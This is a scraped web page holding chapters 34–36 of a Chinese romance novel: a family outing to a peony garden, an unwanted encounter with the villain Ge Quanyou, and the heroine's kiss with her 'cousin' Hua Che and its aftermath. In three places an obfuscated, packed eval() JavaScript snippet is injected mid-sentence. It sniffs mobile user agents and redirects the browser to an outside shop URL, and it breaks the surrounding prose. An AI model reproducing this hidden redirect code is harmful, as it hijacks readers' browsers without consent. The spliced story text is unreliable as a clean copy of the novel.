“对。大哥。我走后,这两个月。”花澈心不在焉地说。 这可比表姑娘那回还透着奇怪。元宝吃惊之下,斗胆又多嘴一句:“爷是怀疑那银子来路……” “不是。”花澈这才把目光转向元宝,“和银子无干,贪墨、舞弊都不用管,你只查清楚他在家里可有……异样。你自己去,不要叫别人知道。” “是,是。”元宝唯唯应下,自去想办法。 天团团黑下来,花澈终于站起身,烦躁地甩甩头,又想大笑一场。 好一个小丫头啊, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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花澈平静道:“祖母就是再舍不得妹妹,她也不能在咱们家一辈子。” 老太太真的动了气:“我还活着呢,还轮不到你指三画四。” “祖母别急。要让我说,妹妹在咱们家当然想待多久待多久,大哥必定也是这个意思吧?” 花沛良久才答:“听祖母的吩咐,还有……看表妹愿不愿意。” 花澈向老太太笑道:“我和大哥意见一般,就怕妹妹自己不愿呢?妹妹有委屈,也不好说出来。” “这家里除了你,谁还能让由儿受委屈?”说完,老太太疑惑起来,“你听由儿说了什么话?” “妹妹有话,怎会对我说。我不过瞎猜,随口一提罢了。”花澈若无其事道。 老太太严厉地看他一眼,正色道:“由心在我这里就和亲孙女一样,现在有我,将来你们也不能让她失了依靠。” 花沛喃喃道:“是,当然。” 老太太又看花澈等他表态。 花澈笑着说:“不知我以后娶了媳妇回来,祖母能不能也像疼由心妹妹一般疼她。” “那也得我能等到那一天。”老太太气咻咻说,“快走吧,别在我跟前碍眼了。” . 元宝给花澈回话,见他不吭声,又小心翼翼问:“给大爷瞒着?” “只当不知。还有一事要你办,”花澈拿出一方帖子来递给元宝,“给我去请个人,要他那日务必到。” 34. 茗茶 银荷等着李得的消息,日等夜等,总嫌日子太慢,可是回头一看,却又快得惊心:不知不觉间,她在花家已是一个寒暑。 日与日之间的变化殊难确察,说不清是从哪一日开始,除了报仇,心上又添了一件同样大的事——她要报恩。 花家当她是表姑娘,但银荷自己没法心安理得。她不知这份恩情如何报答,又能不能还报得清?而眼下,不但未能做成一事,反还给别人添了忧烦…… 有这些心事压着,银荷不像以往那般开朗爱笑,这才引起了老太太的不安。 花澈气着了老太太,第二天就去赔罪,终于说得老太太又喜欢了,听闻花澈说某处的牡丹好,便说定带家里女眷同去瞧瞧。 这几天正好是牡丹开得最盛之时,怕误了时节,只一日就安排好了,再过一日,十来辆车子,便浩浩荡荡去往城郊。 银荷和瑷宁、映雪同乘一辆大车,非常舒适稳当。这是老太太为着映雪,特把自己的车子让了出来,又硬要银荷也一起上去。 映雪如今身子渐重,斜靠着坐最舒服,瑷宁不要她动,不断把各样吃食送到她手边:“你只管歪着,我不是伺候你,是伺候小祖宗,咱们现在可都是跟着他沾光呢。” 映雪近来眉宇间忧色去了不少,差不多又回到从前那般,她笑着说:“再吃下去可更走不动了,最近胖了好些。” “瞎说,你还怕这个,我瞧你腰身轻便得很呢,背后看柳条似的,和由妹妹也不差什么。” “你要比个别人我还信几分,和由妹妹比就太离谱了,一听就是哄人。” “你也吃。”瑷宁把果品碟子推向银荷,对映雪道,“老太太成日说她生得单弱,我恨不得拿几只大肥鸭子填填她才好。” 映雪轻轻拉过银荷:“由妹妹最近怎么不去我那儿玩了?” 银荷还没开口,瑷宁就取笑道:“你干等着啊?要下帖子请。由妹妹大了一岁,架子也大了,我请她去,都不搭理。” 银荷不好意思地说:“我去做什么,大嫂忙着,又没空陪我。” “陪你?”瑷宁做个嫌弃的怪脸,“我只等着以后陪侄儿玩。”她对映雪说,“你的好日子就要到头了,老太太都说了,等出了月,你就得当起家来,轮我爽快去了,今儿走马,明儿放鹰,人生在世,痛快就这几年。” 映雪急得摆手:“你可不能放鹰。我不想揽那些事,我哪里干得了。” 瑷宁轻轻推她一下:“你不想揽,有人想揽还揽不到呢。这是老太太看重你的意思,原先就想着了,让我以后交给你。” “老太太白看重我了,我真的不行,也不想。” “有什么不行,我当初也是鸭子上架,谁笑话谁。再说还有我呢,你要信不过我,还有二弟,怕什么。你是个聪明人,肯定比我强。你要硬不肯,分明是要我为难,看你婆婆把我恨成什么样子了?我敢和你说这个,你倒来和我撇干净,太见外。” 映雪听了感动,和瑷宁推心置腹,说些婆媳相处、家常人情之事,也不避讳银荷。 银荷有一搭没一搭听着二人说话。那些事似乎离她很遥远,可是听起来异常亲切,她丝毫不觉琐碎无聊,只感到心中一片安宁喜乐。 不过瑷宁这时又来对她说:“由妹妹也该学着些,等你嫁人就知道了,姑娘好过,媳妇难当。我们这些体几话,你听了也不吃亏,迟早用得上。” “谁要听。”银荷扭开头去。 “谁要你来和我们挤。”瑷宁酸溜溜道。 映雪笑着说:“别吓由妹妹,等由妹妹做了媳妇,也好过。不管谁娶了由妹妹,哪里会让她受委屈。” 银荷脸更红,掀开帘子一角看窗外,嘴里嘀咕:“等回去时候我可不和你们一块儿坐了。” 映雪又说:“别说老太太,就是我也舍不得由妹妹嫁人。我现在可听不了这样的话,光是想想阿瑛要出嫁我就难受。” 瑷宁吃惊道:“呀,瑛妹妹就要说亲了吗,看好了谁家?” “倒还没开始议,不过二爷要我将来再和太子妃多走动走动。” “什么?”瑷宁喊叫,“他想要瑛妹妹进东——” “不是不是。”映雪连忙解释,“瞧我嘴笨没说清楚,是因为太子妃的兄弟——少将军据说过段时候要回京了。” “哦,我还以为是想瑛妹妹将来当皇妃,原来是为了以后做国舅夫人啊。”瑷宁打趣说,“你们倒是心不小。” “这还没影的事儿呢,”映雪忙说,“只是二爷说,少将军人才合适,又没婚配,京中现在也找不出几个人,要能成倒两下便利——婚姻大事岂能图便利?没有合适的晚些也不怕。反正我是觉得不太妥,我都没敢和阿瑛提,怕她再为这个生气。” “你怎么知道瑛妹妹不愿意?”瑷宁笑问。 “怎么可能愿意。阿瑛多么水灵娇贵的女孩儿,谁要和他们一介武夫在一块。” 瑷宁听见笑起来,映雪也笑:“我知道我不该说这话,我哥哥他们就是那样,他们还算是好的了——我大哥一天到晚纸上谈兵,也不知是怎么正好遇到我大嫂,恰能和他讲到一起;我二哥成日舞枪弄棒,更是粗人一个,还不晓得有没有姑娘肯嫁给他。” “也就你敢这么编排兄长。”瑷宁笑道,“我知道你怎么想的,能对自家姐妹好的人,其实都不差。” 映雪深深点头。 她们谈论这些,银荷不好意思插话,却听得怪有趣,特别是映雪又说哥哥,令她心生羡慕。 瑷宁本来爱和她打趣,偏故意说:“由妹妹想什么呢,这样出神?——看看,脸上都抹胭脂了。” 映雪好像瞧出银荷心思,笑说:“我只有两个,由妹妹可是有三个好兄长。” “三个?你没算谁?”瑷宁奇道。 映雪红着脸说:“他要是不顾阿瑛意愿要她嫁人,就算不得好兄长。” “我当什么,原来你是说这个。”瑷宁笑出声来,“二弟真不会那样,就是他有想法,也得老爷太太答应。而且谁认识少将军啊,亲不亲,故不故的。我看这准保还是你婆婆的意思,她喜欢那些排场。其实咱们家比他们又不差什么,何必上去巴结。瞧将军夫人摆那付皇亲国戚的架子,哪怕少将军本人再好,有这么个婆婆也真够受。” 映雪笑道:“也不至于叫你说成这样,有些人生来是那种脾性,太子妃人就很好。” “你就是看谁都好,知人知面不知心啊。”瑷宁感叹。 映雪听见,脸色一变,轻轻摇了摇头,没说话。瑷宁后悔自己多言,赶快拿话来岔:“回去我就把家里的事交给你,瑛妹妹也好跟你学着些,她都要说亲了,正该多演习演习。” 就这样一路说着,便到了地方。众人下车,还未见到牡丹的影子,已感香气盈怀。邀月搀了老太太,几位太太跟着,旁边围着拎包袱的、撑伞遮日头的丫环们,和那出来迎接的仆妇,一大群人鱼贯进了花园。 瑷宁关照人扶好映雪,又忙着要去前面老太太那边照看,临走时还不忘对赶过来的织雨说:“可要看牢你们姑娘了,上回就差点儿丢了她。” 这是不知谁家的一处大花园,因在郊外,修建得格外大些,里面一般也是廊阁起伏,湖山相映,清贵气象不逊花府,而大家是头一回来,看着新鲜,更觉好玩。 园中到处都是牡丹,洋洋洒洒,旁若无人地怒放着。谁瞧着都欢喜,众人边走边观赏,又见三三两两个抱着笛、箫、筝、琵琶的乐女走过,散于四处,很快就从各方向传来不同乐器之声,此呼彼应,水乳交融,极其悦耳。 几位姑娘同映雪在园内转完一半,瑷宁差人来请,将她们领至三面临水一座池榭,内里已置好桌椅,老太太、太太等人正在其中休息,三、五个小丫环在四周回廊上凭栏观鱼。 老太太背墙面水坐着,见几人进来,就要银荷和映雪坐在两旁。“咱们就在这儿好生坐着,别吹了风。”她又对众人说,“今天正好十个人,你们娘几个也别拘礼,随便坐着,挤一挤才亲热。” 于是大家不分长幼,只管都坐下。老太太说:“吃些东西你们再逛去,这园子大,修得也甚好。就是澈儿太可气,大张旗鼓哄了咱们一窝子人来,临了自己却不见影,谁知是不是躲着吃酒去了,要不准在哪里捣鬼。” “他们哪有耐烦赏花看草,和我们坐不到一处,不如自己玩去。”大太太道。 瑷宁说:“老太太莫怪,这回我可要为三弟道个不平。我虽头一次来,好些年前就听说过:这里主人家性子怪癖,何曾招待过几个客人。要不是三弟,咱们也不能进来玩。” 老太太笑呵呵道:“他再费事,咱们偏不领情,他敢埋怨不成?谁让他人也看不见,还得罚他,这次不算数,等着让他再请一回。” 说着话,一列侍女端水来给客人洗手,又在每人面前摆一个精致的八宝攒盒,于是大家用饭。饭毕后,各人又盥漱一回,便有人奉上茶来。 “这是什么茶,我没喝过。”老太太奇怪道。 银荷刚端起茶杯,心里便是一惊,待捧到嘴边喝下一口,眼中即刻就浮起泪来。这是在矴州时喝惯了的茶,味道清纯皓洁,由心和她都非常喜爱。离开矴州之时,她还问由心该不该带些茶叶,由心当时说:“不必了,总有喝完的时候,倒不如早早习惯。”看她难受,由心又安慰道,“少带些吧。茶叶而已,不喝便不喝。前头一定有更好的,没这一样,也有其它。” 银荷真没想到,今日在此处竟又喝着了。 老太太询问,领头的侍女答:“前儿得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17069840|192236||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了这些新茶,叫做云清,是矴州出产的,咱们这里不大见到。请老太太和尊客人们尝个新鲜。” 大家听了,都去看银荷。 银荷眼泪已经在打转了,让人一瞅,便再也忍不住,泪珠一滴滴落下来。 老太太心疼地将她搂在怀里,对那侍女说:“我家这女孩儿恰好在矴州长大。碰见你们的好茶,倒把她勾起伤心了。” 那位侍女向银荷瞧瞧:“这么多人疼姑娘,姑娘是有福之人。乡茗解乡愁,我再送姑娘些,只当陪个不是。”说着便匆匆离去。 瑷宁便说:“这茶果然好,又清淡,我也爱它。等下分我一半,由妹妹不会又掉眼泪吧?” 银荷正因在人前哭起来而难为情,赶紧止了泪:“我还没拿到,大嫂这就来抢了,还笑话别人小气。” “算得了什么。”老太太笑着说,“他们有多少,都要了带回去。” “主人还没见过,就要东要西,人家心里头还不知怎么嫌咱们厚脸皮呢。”瑷宁笑道。 老太太说:“怕什么,澈儿既相熟,就让他去讨。” 银荷忙说:“其实这茶味淡,喝多了也不过如此,我不愿喝,都给大嫂吧,何必又去麻烦三表哥。” “不麻烦。”老太太轻拍银荷,“我是没想到,你也不好说。你以前爱吃的,爱玩的,都只管开个单子,你三表哥没有弄不来的东西。” 不一会儿,适才那位侍女拿盘托了几只罐子回来:“这茶不宜久放,我们没余多少,权当个心意吧,以后得了新鲜的再送到贵府上。” 老太太称谢一番。那侍女又说:“可惜老爷现在不在家,不然定要好好款待诸位。只是——”她转向银荷,歉意道,“我家少主人听见惹出姑娘思绪,深为不安。若姑娘不嫌造次,公子想请姑娘旁边小坐,说不定能为姑娘稍微疏解一二。” 银荷连忙婉言谢绝,心想这家父子果然都是离经叛道的人物,难怪花澈与他们交往。 对方大概也知道请求不合时宜,不再多口,歉然一笑便去了。 老太太玩乐一上午,此时已感困乏,便由邀月等扶了、三太太陪同着去休憩。 趁无人注意,瑷宁悄悄打趣银荷说:“看看,哪个不是招人疼惹人爱,偏你到处出头——人家想要留你呢。我正要和老太太说,不如就应允下来,也省得她老人家再操心。我瞧这儿什么都有,独缺一位少夫人。” 银荷羞恼打她。瑷宁又说:“又不是往火坑推你。——看这园子,主人肯定阔绰得很,人家还风雅得紧,是个倜傥不群的人物,又会体贴,千妥万妥。我是为了你好,早晚你才信。” 银荷臊得拧开身去,瑷宁怕她真急了,便停住口。 众人重新坐好,端起茶杯慢啜细品。窗外水光澄明,花香和着悠扬笛声一阵阵飘来,令人目清耳清神清。 大太太皱皱眉,鄙薄道:“什么正经人家,好养这么些弹唱的。” 大家皆不言语,她又向映雪问道:“身上怎样?本不该叫你出来,跑这大半日,太劳累,你又比不得别人。头一个孩子,可得小心了。” 映雪忙回说:“并不累,大夫也说总坐着不好。出来走走反还觉得轻便些。” 大太太点点头:“既这么着,平日你还得当心,针线上的事情就别自己忙了。” “每日只做一会儿。”映雪脸有些红,“小孩子衣裳容易做,我想着将来贴身穿,比旁人做的舒服。” “那也用不到你动手,要是不放心丫头们,尽管让戚晚去做,我看她做得倒还不错,让她给潜儿也做上一身。” 此话一出,听见的人多少都变了颜色。花瑛不敢相信地看着母亲,二太太坐也不是,走也不是,扭了头去。 映雪小声说:“戚——她愿意做便做吧,我们各做各的。” “照我说,戚晚其实也算个实在孩子。”大太太劝道,“况且你是什么身份,哪有与她逞脸赌气的?她既情愿,由她做去,你就当多了个使唤的人,又怎的?” 映雪还没答,花瑛就说:“哥哥早说过让她别烦嫂子。都不理她,有本事别凑上来寻隙觅缝,大家好看!” 大太太狠瞪花瑛一眼,待要说话,再瞧见二太太神情,不免浮出得意之色,又拉着映雪一通关心,生怕她吹了风晒了日头,一时又责骂旁边丫环伺候得不好。 “娘!”花瑛忍无可忍,“嫂子好着呢,你没完没了的才是打扰了她。” 映雪忙斥她:“怎么能和母亲这样说话?”又对大太太说,“母亲别生气,阿瑛不是那个意思。” 大太太早已气得脸色发青:“好嘛,养活你一场,倒是养出个——”她半日没说出来,再开口却是向着二太太,“你看看,这就是闺女的好处,还是三弟妹没姑娘,倒有福。” 35. 琴心 大太太骂花瑛,大家都不自在,或者心里憋着气,只不好回嘴。勉强再坐一时,银荷借净手起身出来。 上午园子还没逛完,银荷本想再拉几位姑娘一同去别处转转,回来后却见只有大太太和映雪、瑷宁仍原地坐着,其他人不见了。 瑷宁出来,向内努努嘴,小声说:“谁能坐住,你们都去罢。瑶妹妹她们往那边去了,要你去寻她们。我再陪着说几句,等下和你二嫂都过去。” 恰这时正要给丫环们摆桌上饭,银荷便要织雨先吃:“我自己去找就行,跑不丢。” 先前和大家说话的侍女在一旁听见,说:“我带姑娘过去。” 瑷宁便向银荷意味深长一笑,又做个口型:“当心。” 银荷知道还为“少夫人”的戏谑,也不理会,只管跟着人走了。 穿过一间别致小亭时,只见花匠搬来绷着绸布的架子,正要遮挡亭外的一株花。这满园牡丹只管随处栽随处开,没有这样娇气的,银荷不由要瞧瞧是个什么名贵品种。看过去,那却不是牡丹,而是株白色芍药。 为何特别在此单栽一棵芍药,银荷感到奇怪。那位侍女看到她的目光,解释说:“日头毒时怕晒了,故要罩起来。我们老爷在家时,最喜坐在这里。” 银荷不欲打听主人的癖好,只点点头附和。很快,她们来到飞檐翘角、建成“回”字形一座楼宇前,这里看着像是大宴宾客之所,也正有丝竹之声传出。 领着银荷的便问站在门前的侍女:“客人在里面?” “可是说那几位姑娘,一人穿着淡绿衫子、衣上绣竹叶花纹?” 银荷见她形容的正是花瑶,忙说是。 那侍女却不引银荷进去,指了指楼梯:“南面这一间,请姑娘自己上去吧。” 上楼的时候,不知何处传来琴乐,似远而又若近,银荷情不自禁伫着脚去听。那曲调说不上是欢快还是哀愁,弹奏也说不上是纯熟还是平常,不知为何却分外撩人情怀。弦音如雨珠飘洒,她的心也随之一起轻颤。 银荷心中一闪:“我是在哪儿听过这支曲子——不,一定没听过,不然怎会不记得?” 好生奇怪的感觉,似陌生又似熟悉:说陌生,是相识的陌生,如同朔漠狂沙、银浪碧海,在书上已读过千百回,看到时定也能认出来,只是那初见的震撼又远非事先可想;说熟悉,是模糊的熟悉,好比日日所见的飞鸟、楼台,入到梦中,恍如又有了新的样子。 这种感觉真像捕捉不及的梦境——仿佛就在眼前了,但若真要伸出手去,它定会一掠而过、杳无痕迹。 有种哀伤自她心头涌起,也不是哀伤,不如说是渴望和怅惘。在此之前,银荷还不曾如此明晰地意识到,任他是谁,也得不到所有,总有些什么要失之交臂。“风流云散,一别如雨。”若说是遗憾,这也是世间永恒的遗憾,然而她还是想要抓住,想得几乎掉下泪来。 她被乐曲牵引,又一阶阶向上走去。楼梯对的这间屋子便是南面屋子,不会有错,屋子没有闭门,声音就是从这儿流倾出来的。 银荷撩开珠帘进入其中。屋子挺大,因没多少器物、装饰,看上去更是空空荡荡。地板正中铺一块厚实的蓝花织毯,给人的感觉像是漂浮在湖心的小岛——她小心地探出脚,迈了一小步,犹豫着该不该涉水而过,踏入那片蓝色的岛屿——一位着月白深衣的男子在岛心抚琴,乐音自他指间回旋开来,清风般从她身旁流过。 “妹妹是来找我?”弹奏并没停,然而他一抬眼,手指不由稍稍一滞。不知是因这细微的节奏错乱,还是因开口说话,琴声的魔力被打破了。湖水骤然退尽,不过是一间方方正正的屋子,脚下是实实在在的地板,银荷才认出男子是花澈。她大梦初醒般移开目光,旁边不知何时冒出一位侍女,正在摆放酒壶。 “我走错了。”银荷干巴巴地说,一面就要向外退去。 “何不将错就错?我等的人还没来,独坐无趣,妹妹肯不肯陪我一会儿。”花澈说着站起身来,示意侍女将琴收了,自己则斟了两杯酒,“这酒一点儿也不伤人,妹妹尝尝,你会喜欢。” “什么酒我都不喜欢。瑶妹妹她们在哪儿?”银荷说得很不客气,话一出口,她自己都有些吃惊。 花澈却不介意。“妹妹不用急,稍等一下。”花澈举起酒杯说,“以前我对妹妹多有不敬,今日一并向妹妹赔罪。”说完他把酒一饮而尽,才说,“几位姑娘都在楼下,楼上是主人另请的客人,妹妹小心,别再走错了。” 银荷点点头,刚转身出门,屋内那名侍女抱着琴也跟出来了,抢在银荷前面下了楼。 银荷这时已不想再找花瑶等人,她在楼梯口略停一下,随意向下一瞥,见一位富贵公子领着三五名小厮,正大模大样走进来。再平常不过的场景,却令银荷厌恶地别开眼。究其原因,恐怕是这公子穿着件紫色衣裳,让她想起…… “你们都在外面候着。”那人大声命道。一霎间银荷连头发根儿都乍了起来。假如声音也能够烧化,这声音不管化成灰化成烟她都认得出来——葛全有! 她直愣愣向他的脸看去,错不了,正是葛全有那狗东西,该来的终于来了。 那日在河边,她和由心跳下车,迎面看见葛全有。他穿着古铜色开氅,露出里面紫缎的褂子,同着个样子粗蛮的家仆,大模大样立在那儿。当时她尚还不怕,可如今…… 要是手边有条棍子,她一定直冲下去。没有棍子也有拳头呀,然而攥得拳头发了白,银荷依旧站着没动。 还等什么?银荷对自己愤怒,眼睛又飞速搜寻李得的身影。没有。她突然明白了,这不会是得叔的安排,只有她一人——而她甚至比上一次面对葛全有时还要无助! “怎么我过来你要走,坐下弹一曲我听听。”葛全有拉住刚下楼那位侍女,笑道。 那姑娘摇头,对他说了些什么,又指指楼梯。 “东边那间,晓得了。”葛全有说着朝楼上走来。 银荷猛然想起,她今日是来做客的,葛全有亦是主人请的客人。她再想杀葛全有,并不想搭了自己一条命去。既然已经等到了今天,不在乎多等一时——他来了便跑不了。 银荷死死盯住葛全有,他正向楼梯走来,越走越近,只要一抬头就能看到她。 银荷心狂跳,喉咙发干,动弹不得。一个激灵,她才回了神,赶紧退回几步,拐到西边走廊。 那儿也有位侍女,拉住她往楼梯走:“姑娘下楼去吧。” 只有那一道楼梯,会正面撞上葛全有。银荷不想现在被他看到,失了先机。 火烧眉毛了,银荷一闪身又进了刚才那间屋子。 进去第一件事就是转身关门,可不知门上有什么机关,竟是推拉不动,急得她一层细汗冒了上来。 只听花澈问道:“妹妹改主意了?请过来坐下,那门坏了,别去管它。妹妹不想有人打扰,还是要躲谁?” 银荷哪有工夫和他斗嘴扯闲,一边向屋内走,一边急道:“外面有个男人,我不想见他。” 花澈带些好笑地问:“哪个男人,你认得?” 银荷本想着葛全有是要去东边屋子,躲得过。谁知,他的声音已在门外了:“原来在这儿,让我好一顿找。” 银荷又惊又怒,不及细想葛全有竟是来找花澈的。一眨眼,她已经绕过花澈面前案几,来到他身旁。她恳求的目光刚对上他的双眼便立即躲开去。 她只看出他正要起身。无论做什么都来不及了,银荷心一横,趁他还没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17079645|192236||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 完全站起,双手环上他的脖颈,将自己的脸向他的脸靠近。 花澈脑袋轰地一下,完全懵了。 他一早策划好的事,没想着会遇到任何阻碍。不过在听到银荷哭了时,他略微有些松动:说到底她不过是一个无亲无援的可怜姑娘。松动归松动,他还是想看看她惊慌失措的样子,看看这假表妹要被揭穿真面目时,还能耍出什么新花招。在众人面前或许太令她难为情,他改成了只有他一人。 就在关键一刻来到前,他看清了银荷的神色——那双眼睛已经不复闪动着头一次进屋时奇异的光芒,但同样直烙进他心里。“你放心。”他不禁就要说。 可她的嘴唇已经贴住了他。世上没有更甜美的东西,他几乎把一切都忘了,却还有一点儿明白——她是不得已。失望变为痛苦,一瞬间令人难以忍受,下意识要将她推开,虽然使不出多大的力气,不然何至于竟推不动。 银荷即刻便感觉到了花澈的拒意,先是悔恨羞惭,接着,委屈铺天盖地。她想,不能哭,这时哭又算什么呢。罢了,破罐子破摔吧。她向花澈贴得更紧,自然不是循心愿——不知是循着什么,她将他衣裳紧紧攥在手里,微微探出舌尖。 迷迷糊糊中,她仿佛看到自己被推到一边,葛全有一面破口大骂一面冲过来拉扯她,花澈合抱双臂站在一旁,脸上挂着不关痛痒的讥笑。 这幅情景在她心中火烧火燎,可下一刻,所有幻影都消失了。银荷发现自己正被紧紧搂着,对方的唇温柔地合在她的唇上轻轻吸吮。浅浅深深,疏疏密密,徐徐急急,如同三月的雨。相偎缠绵间,带着清冽的酒香。 银荷全然没有听到葛全有进来后艳羡地哎呦了一声,说了句下流话,才颇不情愿地退去。真奇怪,之前的乐曲在她脑中回响,不绝如缕,那琴声既影影绰绰,又活色生香。她这才恍然,那是诱惑的旋律。 她到底登上了那座小岛吗?不,再没什么小岛了,地面在她脚下裂开,一股急流挟卷了她,不容分说向着未知的地方冲去。 她还是不知该做什么,甚至不知想做什么,只是无法再控制自己。先前被憋住的泪水止不住滚落,无声地濡湿了她的面颊。一个又一个吻落在她湿漉漉的脸上、半阖的眼皮上,然后又去寻找那对颤抖的嘴唇,如饥似渴…… 天上一日,人世一年。总有那么一些时候,让人无法估算清楚,不知到底过去了多久。 等银荷感到自己又在呼吸时,她已坐了下来,花澈站在一旁,执一杯送至她唇边:“喝了。” 银荷不敢动,不敢说话,也不敢抬起眼睛。就着花澈的手,她稍稍仰起脖子将杯中酒尽数咽下。这酒并不辛辣,酒香中带着清甜的果香,正是刚才尝到的味道。银荷一时心慌意乱,更深的红晕慢慢染上她的双颊。 花澈又倒来两杯酒,她依样喝尽。当她准备像这样继续喝下去时,才发现花澈一句话没说,突然离开了屋子。银荷大大松了口气。 可是她依然不敢动,恨不能化作石像。一阵头晕目眩,她似是真的醉了。醉了也好。 终于,进来两位侍女。银荷一样不敢看她们的脸,任由她们扶起她,扶她下楼,再扶她出门。一路上,一个人也没有碰到;刚来时还到处响着丝竹声,现下,周围却静得可怕。 又上了马车,银荷缩在角落里,只觉手脚都没有地方放。这时,听到车外传来织雨焦急的问话:“姑娘,哪里不舒服?” 银荷勉强张了嘴,还未发出声,听见花澈说:“没事,她有些醉了。你们先回去,我去告诉老太太。你坐那辆车,让你们姑娘安静会儿。” 银荷一动不动,只听织雨似是应了什么,声音渐渐远去。终于,车子震动一下,她长出一口气,在座椅上躺了下去,用袖子盖住脸。 36. 醒后 一路上马车跑得飞快,到了花府门口,织雨惦记姑娘醉酒,不待车停稳就急忙下来,赶着去扶姑娘,却只见到姑娘的影子一晃进了门,织雨忙也跟了进去,谁知她走得快,姑娘走得更快。待织雨气喘吁吁回到清圆居,只有小朝在外头站着。 小朝因贪食枇杷吃坏了肚子,这日没有出门。她把织雨拉到一旁,小声说:“织雨姐姐,姑娘怎么生气了,把我们都赶了出来。” 织雨赶忙去看,银荷鞋也未脱躺在床上,用手盖着眼睛。 织雨只道是醉酒的缘故,忙沏了蜂蜜茶,好歹劝银荷喝下,将探头探脑的小丫环都打发走,只留银荷一人休息。 傍晚,老太太遣人来问,织雨亲自去回说姑娘醉了酒已睡下,并无大事,老太太便叮嘱几句。 这一天,银荷没起床吃饭,也没别的动静,织雨不由嘀咕,不知喝了多少,怕是醉得狠了。谁知,第二日早晨,银荷还躺在床上,脸颊一片潮红。织雨伸手去探她额头,倒也不觉得烫,可轻声唤她又不见醒来。从未见过这种情形,丫环们都慌了,忙去回老太太。 . 银荷陷在混乱的梦中,梦境支离破碎,人物面目不清。她一直在逃,可是连要逃开的是什么都不知道。隐隐约约,她猜到自己正在做梦,奇怪的是并不想醒来,宁可在半黑暗中摸索挣扎。 这时,突然感到有只手轻轻触到她的脸上,银荷立即放弃了挣扎,安静下来。她燥热的脸颊似乎一直渴望这样的抚慰,就像嘴唇发烫的旅人渴望清凉芬芳的泉水。 银荷只觉异常舒适,不由自主偎了过去,想要将整张脸都埋在那只手中。 只听得轻轻一声:“傻妹妹。” 银荷浑身一僵,她再迷糊也听得出这是花澈的声音。梦境碎了,她清楚地知道自己正躺在床上,在她的屋子里,在花府。只剩一件事可做,睁开眼睛,而这恰恰是她最不愿做的。 终于她战胜了自己。并没有什么可怕,周围还是熟悉的一切,四下里悄无声息,半卷的珠帘静静地垂着,连最轻微的晃动都没有。银荷坐起身,还没开口唤人,织雨和小朝已听到动静,立即就过来了。 “姑娘醒了,觉得如何?”两人都惊喜万分。 “什么时候了?我睡了很久?”银荷问,看着室内略暗的光线,推测不出到底是什么时辰。 “从昨天下午到现在,姑娘睡了差不多整整一日一夜了。”织雨给她端来水。 银荷喝一口,很随便地问:“我睡着的时候有没有说什么?我好像一直在做恶梦。刚才听到有动静才醒的,可是有人来过?”说完她紧张地等待回答。 “没有,姑娘睡得很安静,就是唤不醒,我们才担心。太医走后就没人来了。”织雨有些担忧地看着银荷,“姑娘还有哪里不舒服,想不想用饭?要不先喝些粥,等会儿好喝药。” 银荷长长舒一口气,又诧异道:“我没事,怎么还请了大夫,还要吃药?” “起先以为姑娘是醉了酒,后头冯太医来,又说不像醉酒,也看不出什么。最后是三爷另荐了位太医来看,说没大事,让姑娘好好睡,大约这时候也就该醒了,果真如他所说。” 听到三爷,银荷像被钢针猛地扎了一下。她打发织雨去回老太太,又问小朝到底怎么回事。 “大夫说姑娘思虑重……我忘了他是如何说,反正只要调养调养就好,开的是安神的方子。老太太差点儿不许他回去,他说姑娘实在无碍,过几天再来。所以姑娘不用怕,好生养几日就好了。哎呀,姑娘你不知道,开始老太太可急坏了,把三爷叫去一顿好骂。大奶奶她们听说都来了,外头屋子都站满了,各出各的主意。后来这个大夫说要完全安静,这才散了。” 不一会儿织雨转回来,听见小朝还在滔滔不绝,责备道:“姑娘需要安静,偏你话多吵人,快出去罢。”她又向银荷说,“老太太先前嘱咐过,这几日不许人来扰姑娘。姑娘也不用着急去前头问安,想要什么和我们说,闷了就去园子里转转。” 银荷都答应了。她并不感觉身体有不适,但这静养的法子却甚合心意:如果可以,她真希望能一辈子躲起来不见人。 可当屋内只剩自己时,寂静却压得她喘不过气。听不见别的声音,她便能听到那个声音说:真不害臊不害臊不害臊…… 银荷在被曲展领回家前,是在山上庙里长大的。她不是佛门弟子,僧人们并不管束她。对于年幼的银荷来说,世间人事和山中的飞鸟走兽,天上的白云明月无甚差别。 到了曲府后,于她始是混沌初开。可即便懂事后,邬嬷嬷也总说她“一身野气”。 大概是没有全懂。银荷万分羞惭,把脸埋进手里。 “我怎能做出那样的事,他会如何想?——我自己都不知道为什么,总不能是因为他好看。”想到这儿,那对为美酒所润泽的嘴唇立即鲜明地映入脑海,仿佛是她醉死前看清的最后一幅画面。 顿时,她的脸上像是燃起了一盆火,烫得她连手都急忙甩开去。 “是我太着慌,太怕教人发现。” 但她还是瞧不起自己——但凡有几分羞耻心,事情发生的时候,难道不该另想办法,而非藏进他的怀里? “这并没有什么大不了,”银荷在心中为自己激烈地辩解,“不过是,不过是……,反正它任何意思都没有。我是迫不得已,是一时发晕。在那种情形下,我还能怎么办?” “可偏偏是他!他会以为我是想要……” 